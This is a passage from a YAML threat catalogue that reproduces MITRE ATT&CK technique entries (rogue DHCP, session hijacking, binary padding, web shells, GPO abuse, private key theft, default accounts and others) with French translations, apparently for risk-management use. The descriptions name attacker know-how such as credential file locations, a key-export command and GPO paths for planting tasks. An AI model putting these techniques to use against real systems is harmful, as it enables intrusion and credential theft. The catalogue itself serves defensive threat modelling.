          \ du r\xE9seau.\n\nLes adversaires peuvent se faire passer pour un serveur\
          \ DHCP malveillant sur le r\xE9seau victime, \xE0 partir duquel des h\xF4\
          tes l\xE9gitimes peuvent recevoir des configurations r\xE9seau malveillantes.\
          \ Par exemple, les logiciels malveillants peuvent agir comme un serveur\
          \ DHCP et fournir des serveurs DNS appartenant \xE0 l\u2019adversaire aux\
          \ ordinateurs victimes. (R\xE9f\xE9rence : new_rogue_DHCP_serv_malware)(Citation\
          \ : w32.tidserv.g) Gr\xE2ce \xE0 des configurations r\xE9seau malveillantes,\
          \ un adversaire peut atteindre la position AiTM, acheminer le trafic client\
          \ via des syst\xE8mes contr\xF4l\xE9s par l\u2019adversaire et collecter\
          \ des informations \xE0 partir du r\xE9seau client.\n\nLes clients DHCPv6\
          \ peuvent recevoir des informations de configuration r\xE9seau sans qu\u2019\
          une adresse IP ne leur soit attribu\xE9e en envoyant un message <code>INFORMATION-REQUEST\
          \ (code 11)</code> \xE0 l\u2019adresse <code>de multidiffusion All_DHCP_Relay_Agents_and_Servers</code>.\
          \ (Citation : rfc3315) Les adversaires peuvent utiliser leur serveur DHCP\
          \ non autoris\xE9 pour r\xE9pondre \xE0 ce message de demande avec des configurations\
          \ r\xE9seau malveillantes.\n\nPlut\xF4t que d\u2019\xE9tablir une position\
          \ AiTM, les adversaires peuvent \xE9galement abuser de l\u2019usurpation\
          \ DHCP pour effectuer une attaque d\u2019\xE9puisement DHCP (c\u2019est-\xE0\
          -dire [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002))\
          \ en g\xE9n\xE9rant de nombreux messages DISCOVER de diffusion pour \xE9\
          puiser le pool d\u2019allocation DHCP d\u2019un r\xE9seau.\nhttps://attack.mitre.org/techniques/T1557/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1563
    ref_id: T1563
    name: Remote Service Session Hijacking
    description: 'Adversaries may take control of preexisting sessions with remote
      services to move laterally in an environment. Users may use valid credentials
      to log into a service specifically designed to accept remote connections, such
      as telnet, SSH, and RDP. When a user logs into a service, a session will be
      established that will allow them to maintain a continuous interaction with that
      service.


      Adversaries may commandeer these sessions to carry out actions on remote systems.
      [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563)
      differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021)
      because it hijacks an existing session rather than creating a new session using
      [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking
      Medium)(Citation: Breach Post-mortem SSH Hijack)

      https://attack.mitre.org/techniques/T1563'
    translations:
      fr:
        name: "D\xE9tournement de session de service \xE0 distance"
        description: "Les adversaires peuvent prendre le contr\xF4le de sessions pr\xE9\
          existantes avec des services \xE0 distance pour se d\xE9placer lat\xE9ralement\
          \ dans un environnement. Les utilisateurs peuvent utiliser des informations\
          \ d\u2019identification valides pour se connecter \xE0 un service sp\xE9\
          cialement con\xE7u pour accepter des connexions \xE0 distance, tel que telnet,\
          \ SSH et RDP. Lorsqu\u2019un utilisateur se connecte \xE0 un service, une\
          \ session est \xE9tablie qui lui permet de maintenir une interaction continue\
          \ avec ce service.\n\nLes adversaires peuvent r\xE9quisitionner ces sessions\
          \ pour effectuer des actions sur des syst\xE8mes distants. [D\xE9tournement\
          \ de session de service \xE0 distance](https://attack.mitre.org/techniques/T1563)\
          \ diff\xE8re de l\u2019utilisation des [Services \xE0 distance](https://attack.mitre.org/techniques/T1021)\
          \ car il d\xE9tourne une session existante plut\xF4t que de cr\xE9er une\
          \ nouvelle session \xE0 l\u2019aide de [Comptes valides](https://attack.mitre.org/techniques/T1078).\
          \ (Citation : Support de d\xE9tournement RDP)(Citation : Violation Post-mortem\
          \ SSH Hijack)\nhttps://attack.mitre.org/techniques/T1563"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.001
    ref_id: T1027.001
    name: Binary Padding
    description: "Adversaries may use binary padding to add junk data and change the\
      \ on-disk representation of malware. This can be done without affecting the\
      \ functionality or behavior of a binary, but can increase the size of the binary\
      \ beyond what some security tools are capable of handling due to file size limitations.\
      \ \n\nBinary padding effectively changes the checksum of the file and can also\
      \ be used to avoid hash-based blocklists and static anti-virus signatures.(Citation:\
      \ ESET OceanLotus) The padding used is commonly generated by a function to create\
      \ junk data and then appended to the end or applied to sections of malware.(Citation:\
      \ Securelist Malware Tricks April 2017) Increasing the file size may decrease\
      \ the effectiveness of certain tools and detection capabilities that are not\
      \ designed or configured to scan large files. This may also reduce the likelihood\
      \ of being collected for analysis. Public file scanning services, such as VirusTotal,\
      \ limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal\
      \ FAQ)\nhttps://attack.mitre.org/techniques/T1027/001"
    translations:
      fr:
        name: Remplissage binaire
        description: "Les adversaires peuvent utiliser le remplissage binaire pour\
          \ ajouter des donn\xE9es ind\xE9sirables et modifier la repr\xE9sentation\
          \ sur disque des logiciels malveillants. Cela peut \xEAtre fait sans affecter\
          \ la fonctionnalit\xE9 ou le comportement d\u2019un fichier binaire, mais\
          \ peut augmenter la taille du fichier binaire au-del\xE0 de ce que certains\
          \ outils de s\xE9curit\xE9 sont capables de g\xE9rer en raison des limitations\
          \ de taille de fichier. \n\nLe remplissage binaire modifie efficacement\
          \ la somme de contr\xF4le du fichier et peut \xE9galement \xEAtre utilis\xE9\
          \ pour \xE9viter les listes de blocage bas\xE9es sur le hachage et les signatures\
          \ antivirus statiques. (Citation : ESET OceanLotus) Le remplissage utilis\xE9\
          \ est g\xE9n\xE9ralement g\xE9n\xE9r\xE9 par une fonction permettant de\
          \ cr\xE9er des donn\xE9es ind\xE9sirables, puis ajout\xE9 \xE0 la fin ou\
          \ appliqu\xE9 \xE0 des sections de logiciels malveillants. (Citation : Securelist\
          \ Malware Tricks avril 2017) L\u2019augmentation de la taille des fichiers\
          \ peut r\xE9duire l\u2019efficacit\xE9 de certains outils et capacit\xE9\
          s de d\xE9tection qui ne sont pas con\xE7us ou configur\xE9s pour analyser\
          \ des fichiers volumineux. Cela peut \xE9galement r\xE9duire la probabilit\xE9\
          \ d\u2019\xEAtre pr\xE9lev\xE9 \xE0 des fins d\u2019analyse. Les services\
          \ d\u2019analyse de fichiers publics, tels que VirusTotal, limitent la taille\
          \ maximale d\u2019un fichier t\xE9l\xE9charg\xE9 \xE0 analyser. (Citation\_\
          : FAQ de VirusTotal)\nhttps://attack.mitre.org/techniques/T1027/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1505.003
    ref_id: T1505.003
    name: Web Shell
    description: 'Adversaries may backdoor web servers with web shells to establish
      persistent access to systems. A Web shell is a Web script that is placed on
      an openly accessible Web server to allow an adversary to access the Web server
      as a gateway into a network. A Web shell may provide a set of functions to execute
      or a command-line interface on the system that hosts the Web server.(Citation:
      volexity_0day_sophos_FW)


      In addition to a server-side script, a Web shell may have a client interface
      program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020)
      Web shell client).(Citation: Lee 2013)

      https://attack.mitre.org/techniques/T1505/003'
    translations:
      fr:
        name: Web Shell
        description: "Les adversaires peuvent d\xE9tourner des serveurs Web \xE0 l\u2019\
          aide d\u2019interpr\xE9teurs Web pour \xE9tablir un acc\xE8s persistant\
          \ aux syst\xE8mes. Un Web shell est un script Web qui est plac\xE9 sur un\
          \ serveur Web librement accessible pour permettre \xE0 un adversaire d\u2019\
          acc\xE9der au serveur Web en tant que passerelle vers un r\xE9seau. Un Web\
          \ shell peut fournir un ensemble de fonctions \xE0 ex\xE9cuter ou une interface\
          \ de ligne de commande sur le syst\xE8me qui h\xE9berge le serveur Web.\
          \ (R\xE9f\xE9rence : volexity_0day_sophos_FW)\n\nEn plus d\u2019un script\
          \ c\xF4t\xE9 serveur, un Web Shell peut avoir un programme d\u2019interface\
          \ client utilis\xE9 pour communiquer avec le serveur Web (par exemple, [China\
          \ Chopper](https://attack.mitre.org/software/S0020) Web Shell client). (R\xE9\
          f\xE9rence : Lee 2013)\nhttps://attack.mitre.org/techniques/T1505/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1484.001
    ref_id: T1484.001
    name: Group Policy Modification
    description: "Adversaries may modify Group Policy Objects (GPOs) to subvert the\
      \ intended discretionary access controls for a domain, usually with the intention\
      \ of escalating privileges on the domain. Group policy allows for centralized\
      \ management of user and computer settings in Active Directory (AD). GPOs are\
      \ containers for group policy settings made up of files stored within a predictable\
      \ network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet\
      \ Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other\
      \ objects in AD, GPOs have access controls associated with them. By default\
      \ all user accounts in the domain have permission to read GPOs. It is possible\
      \ to delegate GPO access control permissions, e.g. write access, to specific\
      \ users or groups in the domain.\n\nMalicious GPO modifications can be used\
      \ to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),\
      \ [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001),\
      \ [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create\
      \ Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),\
      \  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide\
      \ to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends\
      \ 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many\
      \ user and machine settings in the AD environment, there are a great number\
      \ of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide\
      \ to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code>\
      \ can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)\
      \ by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\\
      Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0\
      \ Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an\
      \ adversary might modify specific user rights like SeEnableDelegationPrivilege,\
      \ set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>,\
      \ to achieve a subtle AD backdoor with complete control of the domain because\
      \ the user account under the adversary's control would then be able to modify\
      \ GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\nhttps://attack.mitre.org/techniques/T1484/001"
    translations:
      fr:
        name: "Modification de la strat\xE9gie de groupe"
        description: "Les adversaires peuvent modifier les objets de strat\xE9gie\
          \ de groupe (GPO) pour contourner les contr\xF4les d\u2019acc\xE8s discr\xE9\
          tionnaires pr\xE9vus pour un domaine, g\xE9n\xE9ralement dans le but d\u2019\
          \xE9lever les privil\xE8ges sur le domaine. La strat\xE9gie de groupe permet\
          \ une gestion centralis\xE9e des param\xE8tres de l\u2019utilisateur et\
          \ de l\u2019ordinateur dans Active Directory (AD). Les GPO sont des conteneurs\
          \ pour les param\xE8tres de strat\xE9gie de groupe compos\xE9s de fichiers\
          \ stock\xE9s dans un chemin r\xE9seau pr\xE9visible '\\<DOMAIN>\\SYSVOL\\\
          <DOMAIN>\\Policies\\'.( Citation : Principes de base de la politique de\
          \ groupe TechNet (Citation : ADSecurity GPO Persistence 2016) \n\n\xC0 l\u2019\
          instar d\u2019autres objets dans AD, les objets de strat\xE9gie de groupe\
          \ sont associ\xE9s \xE0 des contr\xF4les d\u2019acc\xE8s. Par d\xE9faut,\
          \ tous les comptes d\u2019utilisateur du domaine sont autoris\xE9s \xE0\
          \ lire les objets de strat\xE9gie de groupe. Il est possible de d\xE9l\xE9\
          guer des autorisations de contr\xF4le d\u2019acc\xE8s GPO, par exemple l\u2019\
          acc\xE8s en \xE9criture, \xE0 des utilisateurs ou \xE0 des groupes sp\xE9\
          cifiques du domaine.\n\nLes modifications malveillantes d\u2019un objet\
          \ de strat\xE9gie de groupe peuvent \xEAtre utilis\xE9es pour impl\xE9menter\
          \ de nombreux autres comportements malveillants tels que [T\xE2che/Travail\
          \ planifi\xE9](https://attack.mitre.org/techniques/T1053), [D\xE9sactiver\
          \ ou modifier les outils](https://attack.mitre.org/techniques/T1562/001),\
          \ [Transfert d\u2019outil d\u2019entr\xE9e](https://attack.mitre.org/techniques/T1105),\
          \ [Cr\xE9er un compte](https://attack.mitre.org/techniques/T1136), [Ex\xE9\
          cution de service](https://attack.mitre.org/techniques/T1569/002), etc.\
          \ (Citation : ADSecurity GPO Persistence 2016)(Citation : Guide Wald0 sur\
          \ les GPO)(Citation : harmj0y abusant des autorisations GPO)(Citation :\
          \ Mandiant M Trends 2016)(Citation : Violation de l\u2019\xE9quipe de piratage\
          \ de Microsoft) \xC9tant donn\xE9 que les GPO peuvent contr\xF4ler un grand\
          \ nombre de param\xE8tres d\u2019utilisateur et de machine dans l\u2019\
          environnement AD, il existe un grand nombre d\u2019attaques potentielles\
          \ qui peuvent d\xE9couler de cet abus GPO. (Citation : Guide Wald0 sur les\
          \ GPO)\n\nPar exemple, les scripts disponibles publiquement, tels que <code>New-GPOImmediateTask</code>,\
          \ peuvent \xEAtre exploit\xE9s pour automatiser la cr\xE9ation d\u2019une\
          \ [t\xE2che/t\xE2che planifi\xE9e](https://attack.mitre.org/techniques/T1053)\
          \ malveillante en modifiant les param\xE8tres GPO, dans ce cas en modifiant\
          \ <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.\
          \ (Citation : Guide Wald0 sur les GPO)(Citation : harmj0y abusant des autorisations\
          \ GPO) Dans certains cas, un adversaire peut modifier des droits d\u2019\
          utilisateur sp\xE9cifiques tels que SeEnableDelegationPrivilege, d\xE9finis\
          \ dans <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\\
          GptTmpl.inf</code>, pour obtenir une porte d\xE9rob\xE9e AD subtile avec\
          \ un contr\xF4le total du domaine, car le compte d\u2019utilisateur sous\
          \ le contr\xF4le de l\u2019adversaire serait alors en mesure de modifier\
          \ les GPO. (citation : Harmj0y SeEnableDelegationPrivilege Right)\nhttps://attack.mitre.org/techniques/T1484/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1217
    ref_id: T1217
    name: Browser Information Discovery
    description: 'Adversaries may enumerate information about browsers to learn more
      about compromised environments. Data saved by browsers (such as bookmarks, accounts,
      and browsing history) may reveal a variety of personal information about users
      (e.g., banking sites, relationships/interests, social media, etc.) as well as
      details about internal network resources such as servers, tools/dashboards,
      or other related infrastructure.(Citation: Kaspersky Autofill)


      Browser information may also highlight additional targets after an adversary
      has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)
      associated with logins cached by a browser.


      Specific storage locations vary based on platform and/or application, but browser
      information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation:
      Chrome Roaming Profiles)

      https://attack.mitre.org/techniques/T1217'
    translations:
      fr:
        name: "D\xE9couverte des informations du navigateur"
        description: "Les adversaires peuvent \xE9num\xE9rer des informations sur\
          \ les navigateurs pour en savoir plus sur les environnements compromis.\
          \ Les donn\xE9es enregistr\xE9es par les navigateurs (telles que les signets,\
          \ les comptes et l\u2019historique de navigation) peuvent r\xE9v\xE9ler\
          \ diverses informations personnelles sur les utilisateurs (par exemple,\
          \ les sites bancaires, les relations/int\xE9r\xEAts, les m\xE9dias sociaux,\
          \ etc.) ainsi que des d\xE9tails sur les ressources du r\xE9seau interne\
          \ telles que les serveurs, les outils/tableaux de bord ou d\u2019autres\
          \ infrastructures connexes. (Citation : Kaspersky Autofill)\n\nLes informations\
          \ du navigateur peuvent \xE9galement mettre en \xE9vidence d\u2019autres\
          \ cibles apr\xE8s qu\u2019un adversaire a acc\xE8s \xE0 des informations\
          \ d\u2019identification valides, en particulier [Informations d\u2019identification\
          \ dans les fichiers](https://attack.mitre.org/techniques/T1552/001) associ\xE9\
          es aux connexions mises en cache par un navigateur.\n\nLes emplacements\
          \ de stockage sp\xE9cifiques varient en fonction de la plate-forme et/ou\
          \ de l\u2019application, mais les informations du navigateur sont g\xE9\
          n\xE9ralement stock\xE9es dans des fichiers et des bases de donn\xE9es locaux\
          \ (par exemple, '\_%APPDATA\_%/Google/Chrome'). (Citation : Profils d\u2019\
          itin\xE9rance Chrome)\nhttps://attack.mitre.org/techniques/T1217"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.004
    ref_id: T1552.004
    name: Private Keys
    description: "Adversaries may search for private key certificate files on compromised\
      \ systems for insecurely stored credentials. Private cryptographic keys and\
      \ certificates are used for authentication, encryption/decryption, and digital\
      \ signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate\
      \ file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer,\
      \ .p7b, .asc. \n\nAdversaries may also look in common key directories, such\
      \ as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code>\
      \ on Windows. Adversary tools may also search compromised systems for file extensions\
      \ relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation:\
      \ Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a\
      \ device key and a transport key are generated and used to verify the device\u2019\
      s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access\
      \ to the device may be able to export the keys in order to impersonate the device.(Citation:\
      \ AADInternals Azure AD Device Identities)\n\nOn network devices, private keys\
      \ may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
      \ commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\n\
      Some private keys require a password or passphrase for operation, so an adversary\
      \ may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for\
      \ keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110)\
      \ the passphrase off-line. These private keys can be used to authenticate to\
      \ [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for\
      \ use in decrypting other collected files such as email.\nhttps://attack.mitre.org/techniques/T1552/004"
    translations:
      fr:
        name: "Cl\xE9s priv\xE9es"
        description: "Les adversaires peuvent rechercher des fichiers de certificat\
          \ de cl\xE9 priv\xE9e sur des syst\xE8mes compromis pour trouver des informations\
          \ d\u2019identification stock\xE9es de mani\xE8re non s\xE9curis\xE9e. Les\
          \ cl\xE9s et certificats cryptographiques priv\xE9s sont utilis\xE9s pour\
          \ l\u2019authentification, le chiffrement/d\xE9chiffrement et les signatures\
          \ num\xE9riques. (Citation : Wikip\xE9dia Cl\xE9 publique Crypto) Les extensions\
          \ de fichier de cl\xE9 et de certificat courantes sont les suivantes : .key,\
          \ .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nLes adversaires\
          \ peuvent \xE9galement rechercher dans des r\xE9pertoires de cl\xE9s courants,\
          \ tels que <code>~/.ssh</code> pour les cl\xE9s SSH sur les syst\xE8mes\
          \ bas\xE9s sur * nix ou <code>C\_:\\Users\\(username)\\.ssh\\</code> sur\
          \ Windows. Les outils malveillants peuvent \xE9galement rechercher dans\
          \ les syst\xE8mes compromis des extensions de fichiers relatives aux cl\xE9\
          s cryptographiques et aux certificats. (R\xE9f\xE9rence : Kaspersky Careto)(Citation\
          \ : Palo Alto, prince de Perse)\n\nLorsqu\u2019un p\xE9riph\xE9rique est\
          \ enregistr\xE9 aupr\xE8s d\u2019Entra ID, une cl\xE9 de p\xE9riph\xE9rique\
          \ et une cl\xE9 de transport sont g\xE9n\xE9r\xE9es et utilis\xE9es pour\
          \ v\xE9rifier l\u2019identit\xE9 du p\xE9riph\xE9rique. (Citation : Jeton\
          \ d\u2019actualisation primaire Microsoft) Un adversaire ayant acc\xE8s\
          \ \xE0 l\u2019appareil peut \xEAtre en mesure d\u2019exporter les cl\xE9\
          s afin d\u2019usurper l\u2019identit\xE9 de l\u2019appareil. (Citation :\
          \ AADInternals Azure AD Device Identities)\n\nSur les p\xE9riph\xE9riques\
          \ r\xE9seau, les cl\xE9s priv\xE9es peuvent \xEAtre export\xE9es via des\
          \ commandes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ telles que 'crypto pki export'. (R\xE9f\xE9rence : cisco_deploy_rsa_keys)\
          \ \n\nCertaines cl\xE9s priv\xE9es n\xE9cessitent un mot de passe ou une\
          \ phrase de passe pour fonctionner, de sorte qu\u2019un adversaire peut\
          \ \xE9galement utiliser [Capture d\u2019entr\xE9e](https://attack.mitre.org/techniques/T1056)\
          \ pour l\u2019enregistrement de frappe ou tenter de [Force brute](https://attack.mitre.org/techniques/T1110)\
          \ la phrase de passe hors ligne. Ces cl\xE9s priv\xE9es peuvent \xEAtre\
          \ utilis\xE9es pour s\u2019authentifier aupr\xE8s des [Services \xE0 distance](https://attack.mitre.org/techniques/T1021)\
          \ comme SSH ou pour d\xE9chiffrer d\u2019autres fichiers collect\xE9s tels\
          \ que des e-mails.\nhttps://attack.mitre.org/techniques/T1552/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.004
    ref_id: T1583.004
    name: Server
    description: "Adversaries may buy, lease, rent, or obtain physical servers\_that\
      \ can be used during targeting. Use of servers allows an adversary to stage,\
      \ launch, and execute an operation. During post-compromise activity, adversaries\
      \ may utilize servers for various tasks, such as watering hole operations in\
      \ [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling\
      \ [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating\
      \ [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of\
      \ compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004)\
      \ or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003),\
      \ adversaries may opt to configure and run their own servers in support of operations.\
      \ Free trial periods of cloud servers may also be abused.(Citation: Free Trial\
      \ PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight\
      \ setup if most of their activities will take place using online infrastructure.\
      \ Or, they may need to build extensive infrastructure if they want to test,\
      \ communicate, and control other aspects of their activities on their own systems.(Citation:\
      \ NYTStuxnet)\nhttps://attack.mitre.org/techniques/T1583/004"
    translations:
      fr:
        name: Serveur
        description: "Les adversaires peuvent acheter, louer, louer ou obtenir des\
          \ serveurs physiques qui peuvent \xEAtre utilis\xE9s lors du ciblage. L\u2019\
          utilisation de serveurs permet \xE0 un adversaire de mettre en sc\xE8ne,\
          \ de lancer et d\u2019ex\xE9cuter une op\xE9ration. Au cours des activit\xE9\
          s post-compromission, les adversaires peuvent utiliser des serveurs pour\
          \ diverses t\xE2ches, telles que les op\xE9rations de point d\u2019eau dans\
          \ [Compromission intempestive](https://attack.mitre.org/techniques/T1189),\
          \ l\u2019activation des op\xE9rations [Phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou la facilitation de la [Commande et contr\xF4le](https://attack.mitre.org/tactics/TA0011).\
          \ Au lieu de compromettre un [serveur](https://attack.mitre.org/techniques/T1584/004)\
          \ tiers ou de louer un [serveur priv\xE9 virtuel](https://attack.mitre.org/techniques/T1583/003),\
          \ les adversaires peuvent choisir de configurer et d\u2019ex\xE9cuter leurs\
          \ propres serveurs pour soutenir les op\xE9rations. Les p\xE9riodes d\u2019\
          essai gratuites des serveurs cloud peuvent \xE9galement \xEAtre utilis\xE9\
          es de mani\xE8re abusive. (Citation\_: Essai gratuit PurpleUrchin)(Citation\
          \ : Freejacked) \n\nLes adversaires peuvent n\u2019avoir besoin d\u2019\
          une configuration l\xE9g\xE8re que si la plupart de leurs activit\xE9s se\
          \ d\xE9roulent \xE0 l\u2019aide d\u2019une infrastructure en ligne. Ils\
          \ peuvent \xE9galement avoir besoin de construire une infrastructure \xE9\
          tendue s\u2019ils souhaitent tester, communiquer et contr\xF4ler d\u2019\
          autres aspects de leurs activit\xE9s sur leurs propres syst\xE8mes. (Citation\
          \ : NYTStuxnet)\nhttps://attack.mitre.org/techniques/T1583/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.006
    ref_id: T1021.006
    name: Windows Remote Management
    description: 'Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      to interact with remote systems using Windows Remote Management (WinRM). The
      adversary may then perform actions as the logged-on user.


      WinRM is the name of both a Windows service and a protocol that allows a user
      to interact with a remote system (e.g., run an executable, modify the Registry,
      modify services).(Citation: Microsoft WinRM) It may be called with the `winrm`
      command or by any number of programs such as PowerShell.(Citation: Jacobsen
      2014) WinRM  can be used as a method of remotely interacting with [Windows Management
      Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN
      WMI)

      https://attack.mitre.org/techniques/T1021/006'
    translations:
      fr:
        name: "Gestion \xE0 distance Windows"
        description: "Les adversaires peuvent utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour interagir avec des syst\xE8mes distants \xE0 l\u2019aide de Windows\
          \ Remote Management (WinRM). L\u2019adversaire peut alors effectuer des\
          \ actions en tant qu\u2019utilisateur connect\xE9.\n\nWinRM est le nom d\u2019\
          un service Windows et d\u2019un protocole qui permet \xE0 un utilisateur\
          \ d\u2019interagir avec un syst\xE8me distant (par exemple, ex\xE9cuter\
          \ un ex\xE9cutable, modifier le registre, modifier des services). (Citation\
          \ : Microsoft WinRM) Il peut \xEAtre appel\xE9 avec la commande 'winrm'\
          \ ou par n\u2019importe quel nombre de programmes tels que PowerShell. (Citation\
          \ : Jacobsen 2014) WinRM peut \xEAtre utilis\xE9 comme m\xE9thode d\u2019\
          interaction \xE0 distance avec [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\
          \ (R\xE9f\xE9rence : MSDN WMI)\nhttps://attack.mitre.org/techniques/T1021/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1011.001
    ref_id: T1011.001
    name: Exfiltration Over Bluetooth
    description: 'Adversaries may attempt to exfiltrate data over Bluetooth rather
      than the command and control channel. If the command and control network is
      a wired Internet connection, an adversary may opt to exfiltrate data using a
      Bluetooth communication channel.


      Adversaries may choose to do this if they have sufficient access and proximity.
      Bluetooth connections might not be secured or defended as well as the primary
      Internet-connected channel because it is not routed through the same enterprise
      network.

      https://attack.mitre.org/techniques/T1011/001'
    translations:
      fr:
        name: Exfiltration via Bluetooth
        description: "Les adversaires peuvent tenter d\u2019exfiltrer des donn\xE9\
          es via Bluetooth plut\xF4t que via le canal de commande et de contr\xF4\
          le. Si le r\xE9seau de commande et de contr\xF4le est une connexion Internet\
          \ c\xE2bl\xE9e, un adversaire peut choisir d\u2019exfiltrer des donn\xE9\
          es \xE0 l\u2019aide d\u2019un canal de communication Bluetooth.\n\nLes adversaires\
          \ peuvent choisir de le faire s\u2019ils disposent d\u2019un acc\xE8s et\
          \ d\u2019une proximit\xE9 suffisants. Les connexions Bluetooth peuvent ne\
          \ pas \xEAtre s\xE9curis\xE9es ou d\xE9fendues aussi bien que le canal principal\
          \ connect\xE9 \xE0 Internet, car il n\u2019est pas achemin\xE9 via le m\xEA\
          me r\xE9seau d\u2019entreprise.\nhttps://attack.mitre.org/techniques/T1011/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1078.001
    ref_id: T1078.001
    name: Default Accounts
    description: 'Adversaries may obtain and abuse credentials of a default account
      as a means of gaining Initial Access, Persistence, Privilege Escalation, or
      Defense Evasion. Default accounts are those that are built-into an OS, such
      as the Guest or Administrator accounts on Windows systems. Default accounts
      also include default factory/provider set accounts on other types of systems,
      software, or devices, including the root user account in AWS and the default
      service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation:
      AWS Root User)(Citation: Threat Matrix for Kubernetes)


      Default accounts are not limited to client machines, rather also include accounts
      that are preset for equipment such as network devices and computer applications
      whether they are internal, open source, or commercial. Appliances that come
      preset with a username and password combination pose a serious threat to organizations
      that do not change it post installation, as they are easy targets for an adversary.
      Similarly, adversaries may also utilize publicly disclosed or stolen [Private
      Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials
      to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation:
      Metasploit SSH Module)

      https://attack.mitre.org/techniques/T1078/001'
    translations:
      fr:
        name: "Comptes par d\xE9faut"
        description: "Les adversaires peuvent obtenir et abuser des identifiants d\u2019\
          un compte par d\xE9faut comme moyen d\u2019obtenir l\u2019acc\xE8s initial,\
          \ la persistance, l\u2019\xE9l\xE9vation de privil\xE8ges ou l\u2019\xE9\
          vasion de la d\xE9fense. Les comptes par d\xE9faut sont ceux qui sont int\xE9\
          gr\xE9s \xE0 un syst\xE8me d\u2019exploitation, tels que les comptes Invit\xE9\
          \ ou Administrateur sur les syst\xE8mes Windows. Les comptes par d\xE9faut\
          \ incluent \xE9galement les comptes d\u2019usine/de fournisseur par d\xE9\
          faut sur d\u2019autres types de syst\xE8mes, de logiciels ou d\u2019appareils,\
          \ y compris le compte d\u2019utilisateur racine dans AWS et le compte de\
          \ service par d\xE9faut dans Kubernetes. (Citation\_: Comptes locaux Microsoft\
          \ f\xE9vrier 2019)(citation : utilisateur racine AWS)(Citation : Matrice\
          \ des menaces pour Kubernetes)\n\nLes comptes par d\xE9faut ne sont pas\
          \ limit\xE9s aux ordinateurs clients, mais incluent \xE9galement des comptes\
          \ pr\xE9d\xE9finis pour des \xE9quipements tels que des p\xE9riph\xE9riques\
          \ r\xE9seau et des applications informatiques, qu\u2019ils soient internes,\
          \ open source ou commerciaux. Les appliances pr\xE9d\xE9finies avec une\
          \ combinaison de nom d\u2019utilisateur et de mot de passe constituent une\
          \ menace s\xE9rieuse pour les entreprises qui ne les modifient pas apr\xE8\
          s l\u2019installation, car elles sont des cibles faciles pour un adversaire.\
          \ De m\xEAme, les adversaires peuvent \xE9galement utiliser des [cl\xE9\
          s priv\xE9es](https://attack.mitre.org/techniques/T1552/004) ou des documents\
